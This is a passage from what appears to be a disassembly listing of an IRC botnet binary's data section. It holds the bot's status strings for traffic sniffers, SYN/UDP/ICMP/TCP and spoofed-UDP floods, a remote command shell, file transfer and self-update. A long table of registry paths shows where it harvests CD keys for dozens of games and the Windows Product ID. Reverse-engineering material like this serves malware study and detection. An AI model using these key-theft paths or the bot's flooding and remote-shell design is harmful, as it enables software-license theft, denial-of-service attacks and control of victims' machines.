		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359CC	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_435A04	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A38	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A6C	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435AA0	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_435AD0	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B24	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D4C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43613C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436150	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 4
dword_436188	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_43619C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361B0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361CC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 4
		dd 80000001h
off_4361FC	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436208	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 43738Ch, 437380h,	437370h, 2 dup(0)
		dd 80000001h, 437350h, 43734Ch,	437338h, 2 dup(0)
		dd 80000001h, 437314h, 43734Ch,	437308h, 2 dup(0)
		dd 80000001h, 4372E4h, 4372DCh,	4372C8h, 2 dup(0)
		dd 80000001h, 4372B4h, 4372A4h,	437288h, 2 dup(0)
		dd 80000001h, 437244h, 4373CCh,	437230h, 2 dup(0)
		dd 80000002h, 437204h, 4371F8h,	4371D8h, 2 dup(0)
		dd 80000002h, 4371A4h, 4373CCh,	43718Ch, 2 dup(0)
		dd 80000002h, 437158h, 4373CCh,	437140h, 2 dup(0)
		dd 80000002h, 437128h, 4373CCh,	437110h, 2 dup(0)
		dd 80000002h, 4370D4h, 43D128h,	4370C4h, 2 dup(0)
		dd 80000002h, 43708Ch, 43D128h,	437078h, 2 dup(0)
		dd 80000002h, 43702Ch, 43D128h,	43700Ch, 2 dup(0)
		dd 80000002h, 436FBCh, 43D128h,	436F90h, 2 dup(0)
		dd 80000002h, 436F54h, 43D128h,	436F40h, 2 dup(0)
		dd 80000002h, 436F08h, 43D128h,	436EF8h, 2 dup(0)
		dd 80000002h, 436EA8h, 43D128h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E3Ch, 43D128h,	436E20h, 2 dup(0)
		dd 80000002h, 436DF0h, 43D128h,	436DD0h, 2 dup(0)
		dd 80000002h, 436D94h, 43D128h,	436D80h, 2 dup(0)
		dd 80000002h, 436D38h, 43D128h,	436D18h, 2 dup(0)
		dd 80000002h, 436CC4h, 43D128h,	436C94h, 2 dup(0)
		dd 80000002h, 436C44h, 43D128h,	436C18h, 2 dup(0)
		dd 80000002h, 436BD8h, 436BD0h,	436BB0h, 2 dup(0)
		dd 80000002h, 436B6Ch, 43D128h,	436B50h, 2 dup(0)
		dd 80000002h, 436B04h, 43D128h,	436AE0h, 2 dup(0)
		dd 80000002h, 436AACh, 43D128h,	436AA0h, 2 dup(0)
		dd 80000002h, 436A6Ch, 43D128h,	436A60h, 2 dup(0)
		dd 80000002h, 436A2Ch, 43D128h,	436A20h, 2 dup(0)
		dd 80000002h, 4369ECh, 43D128h,	4369E0h, 2 dup(0)
		dd 80000002h, 4369A4h, 43D128h,	436990h, 2 dup(0)
		dd 80000002h, 436954h, 43D128h,	436940h, 2 dup(0)
		dd 80000002h, 436910h, 4373CCh,	4368F4h, 2 dup(0)
		dd 80000002h, 4368D4h, 4368CCh,	4368A8h, 2 dup(0)
		dd 80000002h, 43688Ch, 4368CCh,	43686Ch, 2 dup(0)
		dd 80000002h, 43684Ch, 4368CCh,	436828h, 2 dup(0)
		dd 80000002h, 436810h, 4368CCh,	43680Ch, 2 dup(0)
		dd 80000002h, 4367F0h, 4367E0h,	4367D8h, 2 dup(0)
		dd 80000002h, 4367A4h, 42C220h,	43678Ch, 2 dup(0)
		dd 80000002h, 436750h, 436744h,	43671Ch, 43670Ch, 4366F8h
		dd 80000002h, 4366D4h, 4366C8h,	4366B4h, 4366A4h, 43669Ch
		dd 80000002h, 4366D4h, 4366C8h,	436670h, 4366A4h, 436668h
		dd 80000002h, 4366D4h, 4366C8h,	436638h, 4366A4h, 436630h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset nullsub_2
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436204o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00436200o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361FCo
		align 4
asc_4373FC:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437400	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43747C	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_4374A0	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B8	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374E4	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437508	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437520	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437538	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437558	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43757C	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_4375A0	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375CC	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375EC	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_43761C	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43764C	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437678	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376AC	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_4376F0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_43770C	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437744	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437798	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_4377C0	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_4377E8	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 4
off_437838	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_43783C	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 10h
unk_437850	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43788C	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437938	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43796C	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
